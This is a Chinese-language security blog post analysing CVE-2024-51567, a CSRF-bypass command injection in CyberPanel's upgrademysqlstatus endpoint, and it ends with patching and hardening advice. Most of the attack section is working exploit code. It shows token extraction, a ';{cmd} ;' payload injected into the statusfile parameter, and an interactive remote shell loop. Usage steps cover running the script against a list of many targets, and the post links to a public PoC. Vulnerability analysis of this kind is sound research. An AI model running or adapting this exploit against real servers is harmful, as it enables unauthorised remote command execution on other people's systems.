深入解析 CVE-2024-51567:CyberPanel 命令注入漏洞及 PoC 复现
深入解析 CVE-2024-51567:CyberPanel 命令注入漏洞及 PoC 复现
云梦DC 云梦安全 2024-11-20 01:05
在近期的安全事件中,CVE-2024-51567 成为了一大焦点。这一漏洞影响 CyberPanel v2.3.6,通过绕过 CSRF 防护和利用特定参数中的 Shell 元字符实现远程命令执行 (RCE)。本文将带您全面了解此漏洞的成因、利用方式及防护措施,并提供一个 Python 漏洞利用脚本的解析示例,帮助大家更好地理解漏洞机制及修复方法。
漏洞概述
-
CVE 编号:
CVE-2024-51567 -
漏洞类型:
命令注入 / CSRF 绕过 -
受影响版本:
CyberPanel v2.3.6 和 v2.3.7(未修复版本) -
漏洞文件:databases/views.py
中的upgrademysqlstatus
端点 -
漏洞描述:
攻击者通过绕过 CSRF 防护(该保护仅限于 POST 请求)并在statusfile
参数中插入 Shell 元字符,可以执行任意命令。 -
公开利用:
该漏洞被 PSAUX 团队于 2024 年 10 月发现并公开利用。 -
漏洞利用的 PoC 原理
漏洞利用的核心步骤包括:
1. 获取 CSRF Token:
攻击者从目标服务器的 Cookie 中提取 CSRF Token。
-
构造恶意 Payload:
在请求中利用statusfile
参数嵌入恶意命令,伪装为合法请求发送到upgrademysqlstatus
端点。 -
命令注入:
服务端错误地执行了嵌入的恶意命令,实现远程命令执行。
以下是漏洞利用的关键代码逻辑:
payload = {"statusfile":f";{cmd} ;"} headers = {"X-CSRFToken": csrf_token,"Referer": target_url } response = client.post(f"{target_url}/dataBases/upgrademysqlstatus", headers=headers, data=payload)
PoC 脚本解析
以下是针对该漏洞的 PoC 脚本,具备交互式命令输入、CSRF Token 获取和多目标支持等功能。
脚本核心功能
-
CSRF Token 获取
脚本通过 HTTPX 客户端获取目标服务器的 CSRF Token: -
“`
defget_CSRF_token(client, target_url): response = client.get(target_url)return response.cookies.get(“csrftoken”)
**命令注入**
构造恶意请求并发送到漏洞端点:
1.
1. ```
defpwn(client, target_url, csrf_token, cmd): payload = {"statusfile":f";{cmd} ;"} headers = {"X-CSRFToken": csrf_token} response = client.post(f"{target_url}/dataBases/upgrademysqlstatus", headers=headers, data=payload)print(response.text)
交互式模式
脚本支持多次命令执行,直至用户输入exit
:
whileTrue: cmd =input("shell> ")if cmd.lower() =="exit":break pwn(client, target_url, csrf_token, cmd)
使用方法
1.环境准备
-
Python 3 环境
-
安装httpx
模块:“`
pip install httpx
-
### 2.单目标测试
运行以下命令:
python CVE-2024-51567.py http://example.com
### 3.多目标测试
将目标 URL 列表保存到targets.txt
文件中,一行一个 URL:
http://target1.com http://target2.com http://target3.com
运行脚本:
python CVE-2024-51567.py targets.txt
“`
POC地址:
https://github.com/ajayalf/CVE-2024-51567
注:POC来源于网络仅供参考与测试使用
漏洞修复建议
-
升级 CyberPanel:
官方已在
commit 5b08cd6
中修复了该漏洞,建议用户立即升级至最新版本。 -
加强 CSRF 防护:
确保所有端点(包括 GET 和 POST 请求)均具备全面的 CSRF 防护。 -
输入参数校验:
对所有用户输入进行严格的参数校验,防止命令注入。 -
访问权限控制:
限制敏感端点的访问,仅允许授权用户操作。